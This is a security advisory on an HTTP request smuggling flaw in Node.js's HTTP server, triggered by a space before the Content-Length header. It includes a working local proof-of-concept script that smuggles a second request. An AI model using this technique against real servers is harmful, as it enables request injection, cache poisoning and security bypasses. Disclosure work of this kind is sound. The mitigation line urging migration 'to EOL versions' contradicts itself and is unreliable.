Overview
Node.js, a widely used JavaScript runtime built on Chrome's V8 engine, is affected by a medium vulnerability in its HTTP server. The issue arises due to improper handling of malformed HTTP headers, specifically when a space precedes the Content-Length header. This misinterpretation allows attackers to exploit HTTP request smuggling, a technique where a single HTTP request is manipulated to be processed as multiple requests by different components of a server or proxy chain.
An attacker can craft a request with a leading space before Content-Length, causing Node.js to process it incorrectly, potentially enabling unauthorized request injection, cache poisoning, or security bypasses.
Details
Module Info
- Product: Node.js
- Affected versions: <21.7.2, <20.12.1, <v18.20.1, <= 16.20.2, <=v14.21.3, <= v12.22.12
- GitHub repository: https://github.com/nodejs/node
- Fixed in: Node.js NES v12, v14, v16, v18
Vulnerability Info
The vulnerability exists because Node.js does not correctly handle HTTP headers that contain a leading space before the Content-Length field. The HTTP/1.1 specification (RFC 7230) states that header fields should be case-insensitive and that leading spaces should not affect parsing. However, in this case, the extra space prevents the server from properly recognizing Content-Length, leading to inconsistent interpretation of the request body.
An attacker can craft a request with a space-prefixed Content-Length header and include a second, smuggled request in the request body. Since the Node.js HTTP server does not correctly validate the malformed header, it processes the second request separately, bypassing normal security checks.
This vulnerability is particularly dangerous when Node.js is deployed behind a proxy or load balancer that normalizes headers differently. If the proxy sees Content-Length as invalid but Node.js accepts it, an attacker can use this discrepancy to inject and execute unauthorized requests.
Proof Of Concept
A full reproduction:
const http = require('http');
const net = require('net');
const PORT = 8080;
const server = http.createServer((req, res) => {
if (req.url === '/hello') {
res.end('Hello, World!\n');
} else if (req.url === '/hacked') {
res.end(`You have been ${req.headers['random']}!\n`);
}
});
server.listen(PORT, () => {
const client = new net.Socket();
client.connect(PORT, '127.0.0.1', () => {
client.write('POST /hello HTTP/1.1\r\n' +
'Host: localhost:8080\r\n' +
' Content-length: 0\r\n' +
'\r\n' +
'GET /hacked HTTP/1.1\r\n' +
'random: hacked\r\n' +
'\r\n');
});
client.on('data', (data) => {
console.log(data.toString());
client.end();
server.close();
});
client.on('close', () => {
server.close();
});
});
Credits
- bpingel (finder)
Mitigation
The v16, v14, v12 lines of the Node.js projects are End Of Life and will not receive any updates to address this issue.
Users of the affected components should apply one of the following mitigations:
- Migrate affected applications away to EOL versions.
- Leverage a commercial support partner like HeroDevs for post-EOL security support.